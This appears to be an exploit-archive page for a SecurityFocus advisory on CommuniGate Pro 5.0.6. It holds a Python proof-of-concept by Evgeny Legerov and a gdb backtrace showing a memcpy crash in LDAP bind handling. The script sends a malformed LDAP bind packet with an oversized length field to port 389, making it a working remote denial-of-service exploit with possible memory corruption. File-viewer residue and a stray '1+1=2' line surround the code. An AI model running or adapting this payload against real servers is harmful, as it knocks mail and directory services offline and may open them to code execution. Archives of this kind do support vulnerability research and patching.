54 lines
No EOL
1.6 KiB
Python
Executable file
54 lines
No EOL
1.6 KiB
Python
Executable file
source: https://www.securityfocus.com/bid/16407/info
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CommuniGate Pro Server is prone to a remote denial-of-service vulnerability with a potential for arbitrary code execution. This issue reportedly resides in the LDAP component of the application.
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CommuniGate Pro Server 5.0.6 is vulnerable; earlier versions may also be affected.
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#!/usr/bin/env python
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# Use this code at your own risk.
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# It may crash your server!
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# Author: Evgeny Legerov
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import sys
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import socket
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HELP="""
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CommuniGate Pro 5.0.6 vulnerability.
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Found with ProtoVer LDAP testsuite v1.1
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Program received signal SIGSEGV, Segmentation fault.
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[Switching to Thread -1389495376 (LWP 20235)]
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0xada99bbc in memcpy () from /lib/libc.so.6
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(gdb) backtrace
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#0 0xada99bbc in memcpy () from /lib/libc.so.6
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#1 0x083924b8 in STCopyCString ()
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#2 0x08349d5b in BERPackedData::makeCString ()
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#3 0x081ae71a in VLDAPInput::processBINDrequest ()
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#4 0x081af747 in VLDAPInput::processInput ()
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#5 0x082c9373 in VStream::worker ()
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#6 0x082ca1e9 in VStream::starter ()
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#7 0x08399e7d in STThreadStarter ()
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#8 0xadb8bb80 in start_thread () from /lib/libpthread.so.0
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#9 0xadaf8dee in clone () from /lib/libc.so.6
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(gdb) x/i $eip
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0xada99bbc <memcpy+28>: repz movsl %ds:(%esi),%es:(%edi)
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(gdb) info regi esi edi ecx
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esi 0x8688961 141068641
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edi 0x86c6fff 141324287
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ecx 0x3fff7eae 1073708718
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"""
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print HELP
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host="localhost"
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port=389
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sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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sock.connect((host,port))
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s = "\x30\x12\x02\x01\x01\x60\x0d\x02\x01\x03\x04\x02\x44\x4e\x80"
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s += "\x84\xff\xff\xff\xff"
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sock.sendall(s)
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sock.close()
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1+1=2 |